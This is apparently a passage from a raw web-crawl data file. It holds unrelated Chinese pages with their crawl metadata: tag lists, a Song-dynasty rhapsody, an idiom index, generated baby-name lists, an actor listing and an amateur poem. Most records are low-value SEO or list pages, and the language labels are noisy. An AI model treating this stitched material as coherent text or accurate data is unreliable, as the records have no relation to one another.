慕容博 荊楚爭雄記 九陽神功 沖虛道長 羅憲 石田三成 合淝新城之戰 鍾會 隆中對 劉禪 尋秦記 羊祜 無塵道長 戚芳 街亭 奼女心法 奪命簪 武當派 菊花的刺 梵我如一 決戰前後 瘋魔上天下地一百零七撃 裂馬槍 清風十三式 暴雨梨花釘 石清 鍾會之亂 曹丕 雪山飛狐 呂布爭徐州 飛鷹十三刺 葵花寶典 覆雨翻雲 童子功十三太保橫練 硃砂掌 尹克西 天山童姥 魔心連環 于禁 金輪法王 蔣琬 燕子雙飛 燕子三抄水 徐榮 定逸師太 飛龍五式 董卓 翔鷹劍法 張翼 劍氣書香 天魔手七十二式 袖裡乾坤 陸抗 鄧芝 情人箭 程靈素 黑白子 索額圖 吳國太 曹叡 散手八撲 諸葛誕 少林三渡 桃根仙 心硯 九轉還童 曹操攻徐州之戰 五毒神功 阿珂 夏侯嬰 勞德諾 蘇荃 喬鋒 曹純 蒼穹十三式 羅漢伏虎拳 金剛門 王元姬 龍吟曲 岳不羣 古龍作品 玄鐵重劍 五毒教 摩尼教 旋風十八矛 乾隆 荀攸 天外流星 鳥渡術 毛玠 銀龍手 星宿派 逍遙拆 內家橫練 伏虎神拳 劍玄錄 龍門鏢局 曹操討伐袁術之戰 龐德 馮錫范 白阿繡 華山派 益州之戰 合肥之戰 天魔大法 五虎斷門刀 長平公主 水雲袖法 司馬師 男人見不得 幽灵山庄 種玉大法 楊成協 孫皓暴政 青城派 徐庶 陳宮 驚魂六記 移花接玉 荊州 興勢之戰 韓當 楊過 魅影身法 諸葛亮 不戒和尚 東方不敗 陳到 衡山派 太極七截棍 流星鎚 飛龍大九式 余滄海 康熙 橫煉罡 峨嵋派 歸藏鞭 石雙英 太清元功 軟蝟甲 左冷禪 鴛鴦刀 永安之戰 趙雲 赤壁之戰 太虛勁 關興 王語嫣 地煞拳 瀟湘子 俠客行 達摩手 九玄大法 周倉 紫微軟劍 武當七俠 天地明環 林平之 黃權 李典 曹爽專權 張三丰 紫血大法 大拍手 鮑三娘 康敏 連體心法 破蓮八著 陳近南 阿九 無相神功 鐵騎快劍 彩環曲 挾天子 許褚 天龍八部 呂蒙 陸小鳳傳奇 鴛鴦腿 鎖子縮骨功 韋一笑 降龍伏虎羅漢拳 魏滅蜀之戰 多情劍客無情劍 丁春秋 彈指神通 韋小寶 魏滅蜀之戰 楚留香新傳之蝙蝠傳奇 馬謖 夏侯霸 射鵰三部曲 神刀斬 關索 周泰 金蛇劍 張三李四 大武俠時代 林遠圖 徐天宏 韋春花 絕情谷 王異 死眷術 令狐沖 藏密智能書 冷月寶刀 完顏洪烈 全真七子 倪匡 海神 武當掌法 易京之戰 歸辛樹 阿朱 六脈神劍 流雲飛袖 司馬懿 上官鼎 黑鬼爪 枯木神功 無念禪功 鹿鼎記 萬物波動心法 丹青生 書劍恩仇錄 郭襄 梅花鉤 滿寵 一扇十八搖","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2020-06-05T19:01:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348502204.93\/warc\/CC-MAIN-20200605174158-20200605204158-00098.warc.gz","language":"lzh","language_score":0.5900574923,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900574922561646, \"nan_Hani_score\": 0.252694696187973, \"cmn_Hani_score\": 0.12174972891807556, \"yue_Hani_score\": 0.032960936427116394}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"地区福连升老北京布鞋、休闲鞋品牌加盟店信息和地区鞋店加盟方法介绍。\n河南 郑州 郭店 湖南 永州 双牌 红河 开远 云南 姑苏区 江苏 苏州 安徽 天长 滁州 盐城 大丰 株洲 芜湖 四川 南充 常熟 奉节 重庆 合肥 内蒙古 赤峰 松山 周口 信阳","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.fuliansheng.com\/tags.php?\/30\/","date":"2020-05-27T13:09:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347394074.44\/warc\/CC-MAIN-20200527110649-20200527140649-00020.warc.gz","language":"lzh","language_score":0.4996861815,"language_script":"Hani","minhash_cluster_size":23,"top_langs":"{\"lzh_Hani_score\": 0.49968618154525757, \"cmn_Hani_score\": 0.46898993849754333, \"jpn_Jpan_score\": 0.025868158787488937}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.5,"perplexity_score":500.0,"cluster_detection":1} +{"text":"超然臺賦\n- 子瞻既通守餘杭,三年不得代。以轍之在濟南也,求為東州守。既得請高密,其地介於淮海之間,風俗樸陋,四方賓客不至。受命之歲,承大旱之餘孽,驅除螟蝗,逐捕盜賊,廩恤饑饉,日不遑給。幾年而後少安,顧居處隱陋,無以自放,乃因其城上之廢台而增葺之。日與其僚覽其山川而樂之,以告轍曰:「此將何以名之?」轍曰:「今夫山居者知山,林居者知林,耕者知原,漁者知澤,安於其所而已。其樂不相及也,而台則盡之。天下之士,奔走於是非之場,噶於榮辱之海,囂然盡力而忘反,亦莫自知也。而達者哀之,二者非以其超然不累於物故邪。《老子》曰:『雖有榮觀,燕處超然。』嘗試以『超然』命之,可乎?」因為之賦以告曰:\n東海之濱,日氣所先。巋高台之陵空兮,溢晨景之潔鮮。幸氛翳之收霽兮,逮朋友之燕閑。舒堙鬱以延望兮,放遠目於山川。設金罍與玉斝兮,清醪潔其如泉。奏絲竹之憤怒兮,聲激越而眇綿。下仰望而不聞兮,微風過而激天。曾陟降之幾何兮,棄溷濁乎人間。倚軒楹以長嘯兮,袂輕舉而飛翻。極千里於一瞬兮,寄無盡於雲煙。前陵阜之洶湧兮,後平野之湠漫。喬木蔚其蓁蓁兮,興亡忽乎滿前。懷故國於天末兮,限東西之險艱。飛鴻往而莫及兮,落日耿其夕躔。嗟人生之漂搖兮,寄流枿於海壖。苟所遇而皆得兮,遑既擇而後安。彼世俗之私已兮,每自予於曲全。中變潰而失故兮,有驚悼而汍瀾。誠達觀之無不可兮,又何有於憂患。顧遊宦之迫隘兮,常勤苦以終年。盍求樂於一醉兮,滅膏火之焚煎。雖晝日其猶未足兮,俟明月乎林端。紛既醉而相命兮,霜凝磴而跰𨇤。馬躑躅而號鳴兮,左右翼而不能鞍。各雲散於城邑兮,徂清夜之既闌。惟所往而樂易兮,此其所以為超然者邪。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E8%B6%85%E7%84%B6%E8%87%BA%E8%B3%A6","date":"2020-05-27T17:03:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347394756.31\/warc\/CC-MAIN-20200527141855-20200527171855-00420.warc.gz","language":"lzh","language_score":0.4228241146,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.42282411456108093, \"cmn_Hani_score\": 0.20458753407001495, \"nan_Hani_score\": 0.0759798064827919, \"zxx_Latn_score\": 0.044223252683877945, \"und_Tang_score\": 0.030644042417407036, \"wuu_Hani_score\": 0.015033704228699207, \"yue_Hani_score\": 0.014598636887967587, \"und_Hluw_score\": 0.013191190548241138, \"und_Xsux_score\": 0.012297147884964943, \"und_Yiii_score\": 0.010902277193963528}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.152,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有項目 (31) # A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 其他 以 以人廢言 以儆效尤 以其人之道,還治其人之身 以其昏昏,使人昭昭 以力服人 以卵投石 以古非今 以夷制夷 以子之矛,攻子之盾 以小人之心,度君子之腹 以屈求伸 以己度人 以德報怨 以怨報德 以攻為守 以暴易暴 以毒攻毒 以淚洗面 以湯沃雪 以白為黑 以眼還眼,以牙還牙 以禮相待 以觀後效 以訛傳訛 以貌取人 以身作則 以身殉國 以身試法 以辭害意 以逸待勞 以鄰為壑 取自「https:\/\/idiom.fandom.com\/zh\/wiki\/%E5%88%86%E9%A1%9E:%E4%BB%A5%E9%83%A8?oldid=1088」 分類: 成語 增加分類 取消 儲存 除非特別說明,社區內容使用CC-BY-SA 授權許可。","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/idiom.fandom.com\/zh\/wiki\/%E5%88%86%E9%A1%9E:%E4%BB%A5%E9%83%A8","date":"2020-05-30T19:03:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347410284.51\/warc\/CC-MAIN-20200530165307-20200530195307-00220.warc.gz","language":"lzh","language_score":0.4985648394,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.49856483936309814, \"cmn_Hani_score\": 0.4221002757549286, \"nan_Hani_score\": 0.04209769517183304, \"yue_Hani_score\": 0.01586902141571045, \"hak_Hani_score\": 0.014463439583778381}","num_words":68,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.33,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.709,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n元晨飞 元上申 元三龙 元耿川 元达丰 元卫 元尹 元虎 元贞顺 元七 元小可 元艺达 元荷 元力刀 元太辉 元光七 元月月 元军浩 元灵通 元羽菲 元炳森 元炳涵 元炳鑫 元剑峰 元剑锋 元瑞军 元迪 元李华 元子华 元大呆 元大采 元大宾 元烟灶 元灏宇 元铎 元哲鹏 元耀 元英新 元钟 元闯 元潞 元西贝 元浩钧 元春明 元万瑞 元万晟 元方明 元赵东 元成权 元伊麟 元钟国 元国 元钗俅 元钗苹 元绘博 元白 元仲 元锦淑 元弘 元涌波 元启鸿 元日成 元世杰 元冰 元大东 元存金 元曦 元海暇 元海瑕 元海侠 元振虢 元臻虢 元臻国 元吉钟 元旭 元吉成 元宇峰 元妮 元佑 元哲国 元粟 元赋伦 元昊天 元皓民 元伟章 元用江 元是宁 元字宁 元字仲 元首主 元文贤 元瑞祥 元才人 元惠青 元景秀 元钲国 元桢国 元镇国 元贞国 元正国 元慧清 元科捷 元明娣 元柏民 元江县 元楚君 元中 元熠涵 元沂涵 元漪涵 元铱涵 元怿海 元怿孩 元溢涵 元怿涵 元怿含 元怿晗 元杨 元扬 元铭珊 元松竹 元阳阳 元万平 元广杰 元法军 元原 元宗彪 元淼 元始 元鹏博 元锋 元文喜 元伟航 元乐 元莎莎 元向敏 元译萱 元培 元登伟 元软元 元增亮 元木太 元红周 元晓华 元小华 元建基 元承权 元颐 元振博 元宝章 元一定 元已 元海芹 元神武 元竹青 元熙 元义淋 元德华 元向前 元唐 元晨 元牡丹 元思桐 元玉今 元一鸣 元淑兰 元林林 元绍震 元公仆 元晓来 元晓国 元健博 元健哲 元甲戎 元来复 元俊旭 元开 元爱林 元幺采 元海捱 元煜铉 元万杰 元载鑫 元淑桦 元淑华 元映丹 元培旨 元屏宇 元曼羽 元淑 元戎海 元益锴 元风根 元钺然 元则燃 元炳锟 元宝利 元宏伟 元慕勤 元金凤 元奎 元贻 元雅 元军生 元军升 元运桃 元苏 元锡山 元卉青 元照捷 元梦吟 元佳吟 元俊纳 元则标 元择标 元泽才 元泽生 元志论 元志伦 元滨 元卫军 元卫烟 元绍 元真伟 元江涛 元馨梦 元梦欣 元欣 元宇锋 元永日 元玉曲 元锦添 元味知 元未知 元参观 元泽标 元泽彪 元葫 元利鸿 元一帆 元德保 元惠宣 元哼 元文晓 元昌辰 元少君 元柔一 元若心 元其佩 元明郁 元奕笑 元国璋 元秀林 元小敬 元宁 元一诺 元周杭 元周淼 元周澎 元志浩 元帛 元诠 元青珍 元国泽 元文匀 元中方 元爽 元华云 元买生 元海云 元艺霖 元庆伟 元子海 元修成 元真希 元真熙 元真畅 元真北 元瑞漓 元瑞珉 元瑞名 元瑞淋 元瑞米 元瑞嬉 元瑞汐 元世希 元瑞希 元瑞熙 元瑞 元瑞露 元瑞星 元瑞应 元瑞阳 元众燮 元海林 元泽锋 元子淳 元一弗 元如意 元紫扬","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/hitongshan.com\/tipx_B4F.btqy","date":"2020-07-07T01:56:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655891640.22\/warc\/CC-MAIN-20200707013816-20200707043816-00562.warc.gz","language":"lzh","language_score":0.9096984267,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.9096984267234802, \"jpn_Jpan_score\": 0.08357559889554977}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.908,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n羅仲謙 韋家雄 張曦雯 徐榮 張文慈 劉江 張秀文 黃子雄 秦啓維 湯俊明 方紹聰 司徒暉 盧峻峯 袁潔儀 趙樂賢 曾海昌 徐玟晴 吳珮如 尹詩沛 羅鴻 張詩欣\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n黎耀祥 陳豪 李佳芯 江美儀 龔嘉欣 高海寧 麥明詩 謝東閔 江嘉敏 鄭子誠 孫慧雪 李成昌 樊亦敏 馬海倫 譚嘉儀 吳業坤 韓馬利 羅蘭 戴耀明 何遠東 邵卓堯 鄭家生 楊證樺 歐瑞偉 林景程 陳嘉輝 伍富橋 周志康 李豪 盧峻峯 程浩駿 易智遠 陳潁熙 易宇航\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n陳百祥 何浩文 鄭則仕 湯鎮業 李施嬅 蔡瀚億 文凱玲 馬海倫 吳業坤 莊思敏 張慧儀 王子涵 袁鎮業 秦沛 利穎怡 梁敏儀 陳雅思 劉溫馨 謝雪心 曾健明 吳雲甫 秦煌 盧峻峯 楊瑞麟 布偉傑 李岡龍 鄭啓泰 司徒暉 溫家偉 何佩珉 康華 金燕玲 張智軒\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E7%9B%A7%E5%B3%BB%E5%B3%AF------------.html","date":"2020-10-27T14:36:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107894203.73\/warc\/CC-MAIN-20201027140911-20201027170911-00153.warc.gz","language":"lzh","language_score":0.6200886369,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6200886368751526, \"cmn_Hani_score\": 0.3038049042224884, \"nan_Hani_score\": 0.06816983222961426}","num_words":186,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.682,"perplexity_score":500.0,"cluster_detection":1} +{"text":"她姗姗而来 和着一丝暖 巧笑玲珑兮以慰忧兮 排闼吾心之壁坎 言色欣悦兮焉能忘兮 梦之复梦而映放 余以为愚钝兮可浅尝 终是望其画兮白覆苍 花晟叶茂渐迷人 然忽忽兮已将暮 步余车于曲径兮 蝉噪纵纵不可挡 揽穗香平乱绪兮 罅隙暗流涌似浪 亦余心兮勿可易兮 若烙千疮其犹未悔 其道漫漫兮可远扬 载途车马鞍背行囊 折栀花盼伊人兮 聊闲居以牛羊 荷露滚滚入池兮 掩掩相思怎藏 异道亦步兮察君意 交映侧影以相攘 既卿之所信吾之命兮 高翱翔余心念想 既约浮游彼岸以为期 此道远非美之可述也! Q.E.D.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.suk1da.com\/all\/%E6%9B%B2%E8%82%A0","date":"2021-04-16T20:13:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038089289.45\/warc\/CC-MAIN-20210416191341-20210416221341-00558.warc.gz","language":"lzh","language_score":0.6492612362,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.6492612361907959, \"cmn_Hani_score\": 0.1835782378911972, \"nan_Hani_score\": 0.1487095057964325, \"yue_Hani_score\": 0.012316989712417126}","num_words":29,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.662,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n梁蔼柔 梁艾蝉 梁艾秀 梁爱国 梁爱华 梁爱杰 梁爱童 梁爱熙 梁爱新 梁爱珍 梁爱柱 梁瑷淋 梁瑷滢 梁安凯 梁岸平 梁傲馨 梁八一 梁百渡 梁百灵 梁百滔 梁邦翔 梁勹宝 梁勹榇 梁勹孀 梁宝宝 梁宝丹 梁宝方 梁宝心 梁宝元 梁宝月 梁宝中 梁保华 梁葆宏 梁北川 梁贝勒 梁贝珊 梁焙俊 梁蓓蓓 梁奔宇 梁本乾 梁碧华 梁碧莲 梁碧桃 梁碧庭 梁碧云 梁宾心 梁缤月 梁冰冰 梁冰晖 梁炳河 梁炳杰 梁炳粼 梁炳其 梁炳乾 梁炳松 梁伯尧 梁帛辉 梁铂鬟 梁铂渌 梁铂汶 梁铂滟 梁博超 梁博创 梁博宁 梁博雯 梁博熙 梁博煊 梁博严 梁博岩 梁钸黼 梁卜航 梁步青 梁才东 梁才栋 梁才洞 梁才华 梁才明 梁材东 梁材冬 梁材懂 梁财诚 梁财东 梁裁东 梁采凌 梁采甜 梁彩彬 梁彩凤 梁彩虹 梁彩灵 梁彩眠 梁彩明 梁彩彤 梁彩叶 梁彩荧 梁彩萦 梁彩裕 梁彩月 梁彩云 梁彩珍 梁灿盛 梁灿兮 梁灿希 梁灿淅 梁灿晰 梁灿溪 梁灿熙 梁灿羲 梁灿曦 梁璨月 梁苍荣 梁潺溪 梁长长 梁长法 梁长海 梁长水 梁常青 梁嫦青 梁嫦清 梁嫦月 梁昶姿 梁焯宁 梁焯潼 梁超富 梁超杰 梁超钧 梁朝琛 梁朝晖 梁朝辉 梁朝杰 梁朝胜 梁朝庭 梁朝伟 梁朝阳 梁潮铁 梁琛熙 梁辰皓 梁辰佳 梁宸菲 梁宸宇 梁晨曦 梁晨阳 梁晨怿 梁成梁 梁成龙 梁成伟 梁成耀 梁呈菲 梁呈泽 梁承双 梁承禹 梁诚程 梁诚木 梁诚伟 梁程程 梁程栋 梁程昊 梁程伟 梁程熙 梁程翔 梁驰驹 梁傺海 梁崇熙 梁楚恒 梁楚灵 梁楚童 梁楚薇 梁楚翔 梁楚瑜 梁传眠 梁传生 梁春光 梁春鸣 梁春妮 梁春瑞 梁春尉 梁春秀 梁春芝 梁纯汝 梁纯瑗 梁翠兰 梁翠仪 梁翠姿 梁存之 梁矬馨 梁达成 梁达贵 梁达华 梁大萌 梁大坪 梁大伟 梁大玮 梁大尉 梁岱岳 梁岱宗 梁黛宁 梁丹凤 梁丹清 梁丹蕊 梁丹瑞 梁丹姝 梁丹天 梁郸丹 梁氘怯 梁道广 梁道章 梁道忠 梁德锋 梁德芙 梁德晖 梁德明 梁德湘 梁德志 梁登逗 梁帝淋 梁娣菊 梁娣影 梁殿明 梁凋戈 梁丁丰 梁丁鸾 梁丁木 梁鼎华 梁鼎辉 梁定伟 梁东海 梁冬晴 梁冬艺 梁冬月 梁栋晖 梁端民 梁端明 梁敦菊 梁敦念 梁敦全 梁敦愈 梁恩思 梁恩桐 梁恩芯 梁恩烨 梁发国 梁发继 梁方华 梁方羽 梁芳凤 梁芳宁 梁芳仪 梁芳瑜 梁芳源 梁仿锐 梁访锐 梁飞军 梁飞叶 梁飞宇 梁菲菲 梁霏童 梁斐曦 梁玢翊 梁玢誉 梁粉草 梁丰华 梁峰铭 梁锋浪 梁逢予 梁逢域 梁凤峨 梁凤兰 梁凤莲 梁凤平 梁凤仪 梁凤云 梁奉敏 梁俸福 梁俸敏 梁俸裕 梁芙歌 梁芙荣 梁芙菀 梁福荣 梁富海 梁富星 梁刚豪 梁刚宁 梁刚武 梁刚志 梁高唱 梁高戈 梁高歌 梁高格 梁高华 梁哥尼 梁格格 梁庚靖 梁功平 梁宫划 梁恭烨 梁古云 梁谷童 梁官豪 梁官衡 梁官华 梁官桦 梁官敬 梁官霖 梁官令 梁官默 梁官沛 梁官田 梁官卫 梁官贤 梁官学 梁官烨 梁官宜 梁官永 梁官璋 梁冠华 梁光大 梁光宏 梁光瑞 梁光贤 梁光员 梁光源 梁光正 梁广川 梁广和 梁广华 梁广晖 梁广辉 梁广嘉 梁广清 梁广庆 梁广声 梁广树 梁广兴 梁广诩 梁广援 梁贵深 梁贵翔 梁桂程 梁桂东 梁桂恩 梁桂海 梁桂汉 梁桂兰 梁桂宁 梁桂鹏 梁桂荣 梁桂源 梁桂章 梁国宾 梁国彬 梁国财 梁国华 梁国良 梁国亮 梁国隆 梁国民 梁国明 梁国强 梁国荣 梁国威 梁国伟 梁国雄 梁国耀 梁国正 梁国治 梁海冰 梁海兵 梁海晨 梁海富 梁海晗 梁海航 梁海泓 梁海涧 梁海沦 梁海洛 梁海欧 梁海泉 梁海然 梁海生 梁海涛 梁海涛 梁海淘 梁海腾 梁海童 梁海心 梁海衍 梁海洋 梁海音 梁海毓 梁海约 梁海振 梁涵烨 梁涵茵 梁涵治 梁寒娣 梁寒茗 梁寒砚 梁寒烨 梁汉辉 梁汉莲 梁汉童 梁翰林 梁翰轩 梁瀚滨 梁瀚荻 梁瀚瀚 梁瀚杰 梁瀚凌 梁瀚培 梁瀚蕊 梁瀚若 梁瀚甜 梁瀚彤 梁瀚桐 梁瀚童 梁瀚漪 梁瀚沂 梁瀚谊 梁瀚翊 梁瀚意 梁瀚懿 梁瀚胤 梁瀚优 梁瀚悠 梁瀚钊 梁瀚之 梁瀚卓 梁航维 梁豪伟 梁昊琛 梁昊儿 梁昊华 梁昊然 梁昊森 梁昊天 梁昊翔 梁昊勋 梁昊毅 梁浩泓 梁浩科 梁浩明 梁浩鹏 梁浩然 梁浩森 梁浩童 梁浩翔 梁浩洲 梁皓泓 梁皓珏 梁皓钧 梁皓月 梁皓泽 梁颢蓝 梁颢严 梁颢岩 梁灏泓 梁灏基 梁禾萌 梁禾芸 梁禾蓁 梁贺虎 梁贺龙 梁赫来 梁赫梁 梁恒成 梁恒楚 梁恒和 梁恒修 梁恒瑜 梁恒宇 梁弘峰 梁红爱 梁红春 梁红娣 梁红莲 梁红亮 梁宏华 梁宏祺 梁泓宇 梁洪福 梁洪海 梁洪基 梁洪健 梁洪铭 梁洪铨 梁洪荣 梁洪瑞 梁洪森 梁洪涛 梁洪屹 梁洪峙 梁虹宇 梁鸿富 梁鸿秋 梁后群 梁鹕今 梁沪童 梁花童 梁华东 梁华锦 梁华亮 梁铧源 梁化平 梁化育 梁划抗 梁怀蒽 梁怀芍 梁怀韶 梁怀予 梁怀治 梁欢力 梁欢爽 梁欢新 梁寰隽 梁寰俊 梁焕娣 梁焕恒 梁豢佩 梁豢炙 梁晖浩 梁辉辉 梁辉叶 梁汇海 梁汇云 梁汇芸 梁会涓 梁会云 梁会芸 梁荟轩 梁荟云 梁荟芸 梁惠国 梁惠君 梁惠岚 梁惠媚 梁惠清 梁惠雯 梁惠宇 梁惠云 梁慧君","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-121-3.html","date":"2021-09-21T12:00:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00198.warc.gz","language":"lzh","language_score":0.9704813957,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9704813957214355, \"nan_Hani_score\": 0.014892511069774628, \"cmn_Hani_score\": 0.01207259576767683}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n殷芳 殷芬 殷红 殷花 殷洁 殷婧 殷娟 殷莉 殷丽 殷琳 殷玲 殷梅 殷美 殷娜 殷妞 殷裴 殷萍 殷倩 殷琴 殷琼 殷冉 殷蓉 殷茹 殷婷 殷文 殷霞 殷秀 殷雪 殷嫣 殷妍 殷艳 殷燕 殷瑶 殷怡 殷英 殷瑛 殷莹 殷颖 殷玉 殷媛 殷悦 殷阿妹 殷艾琳 殷艾悦 殷爱芳 殷爱红 殷爱花 殷爱丽 殷爱玲 殷爱梅 殷爱美 殷爱萍 殷爱琴 殷爱霞 殷爱英 殷嫒媛 殷瑷琳 殷安娜 殷安蓉 殷傲雪 殷傲瑶 殷邦文 殷邦玉 殷邦悦 殷宝芬 殷宝琴 殷宝蓉 殷宝燕 殷宝怡 殷宝英 殷宝颖 殷宝玉 殷保霞 殷贝娜 殷蓓颖 殷本琴 殷碧芳 殷碧婧 殷碧梅 殷碧美 殷碧琼 殷碧文 殷碧霞 殷碧秀 殷碧怡 殷碧莹 殷碧颖 殷碧玉 殷彬美 殷彬琼 殷彬霞 殷彬莹 殷彬颖 殷鬓艳 殷冰婧 殷冰梅 殷冰燕 殷冰莹 殷伯英 殷博文 殷博英 殷采文 殷彩芬 殷彩红 殷彩娟 殷彩玲 殷彩琴 殷彩文 殷彩霞 殷彩艳 殷彩莹 殷彩玉 殷槽玲 殷昌娜 殷昌媛 殷长娥 殷长娟 殷常红 殷常梅 殷朝红 殷朝霞 殷臣瑶 殷辰琳 殷辰秀 殷辰雪 殷辰瑶 殷晨雪 殷晨怡 殷晨悦 殷趁娥 殷丞茹 殷丞莹 殷成芳 殷成花 殷成琳 殷成文 殷成燕 殷呈悦 殷承琳 殷诚梅 殷程琳 殷崇蓉 殷初霞 殷楚芳 殷传芳 殷传冉 殷传文 殷春芳 殷春红 殷春花 殷春琳 殷春梅 殷春美 殷春妹 殷春娜 殷春萍 殷春婷 殷春霞 殷春艳 殷春燕 殷春英 殷淳颖 殷绰文 殷慈文 殷从文 殷粗琼 殷崔婵 殷翠娥 殷翠红 殷翠萍 殷翠琼 殷翠霞 殷翠玉 殷大红 殷大丽 殷大文 殷代琼 殷代文 殷丹丽 殷丹萍 殷丹文 殷丹霞 殷丹玉 殷德娟 殷德玲 殷德萍 殷德琴 殷德琼 殷德霞 殷登芳 殷迪文 殷定芳 殷东玲 殷东梅 殷东霞 殷东燕 殷东怡 殷东莹 殷冬花 殷冬梅 殷冬琴 殷冬英 殷尔秀 殷尔悦 殷二红 殷二丽 殷二妹 殷梵悦 殷方莹 殷方颖 殷方玉 殷芳娥 殷芳芳 殷芳琳 殷芳莹 殷芳媛 殷舫莹 殷舫悦 殷飞红 殷飞霞 殷飞雪 殷飞燕 殷妃婵 殷妃玉 殷菲琳 殷菲悦 殷霏雪 殷芬蕾 殷风丽 殷风玲 殷沣琼 殷沣妍 殷枫玲 殷枫媛 殷凤洁 殷凤娟 殷凤琳 殷凤玲 殷凤梅 殷凤萍 殷凤琴 殷凤茹 殷凤文 殷凤霞 殷凤英 殷凤悦 殷芙蓉 殷福妹 殷福萍 殷戈萍 殷戈文 殷歌瑶 殷格丽 殷格琳 殷攻玉 殷恭蓉 殷谷茹 殷关冉 殷冠蓉 殷光玲 殷光文 殷广莉 殷广文 殷广英 殷贵红 殷贵梅 殷贵萍 殷贵蓉 殷桂娥 殷桂芳 殷桂芬 殷桂红 殷桂花 殷桂梅 殷桂萍 殷桂婷 殷桂霞 殷桂英 殷国芳 殷国红 殷国娟 殷国丽 殷国梅 殷国妹 殷国琴 殷国婷 殷国艳 殷国英 殷孩芳 殷海芳 殷海红 殷海娟 殷海莉 殷海丽 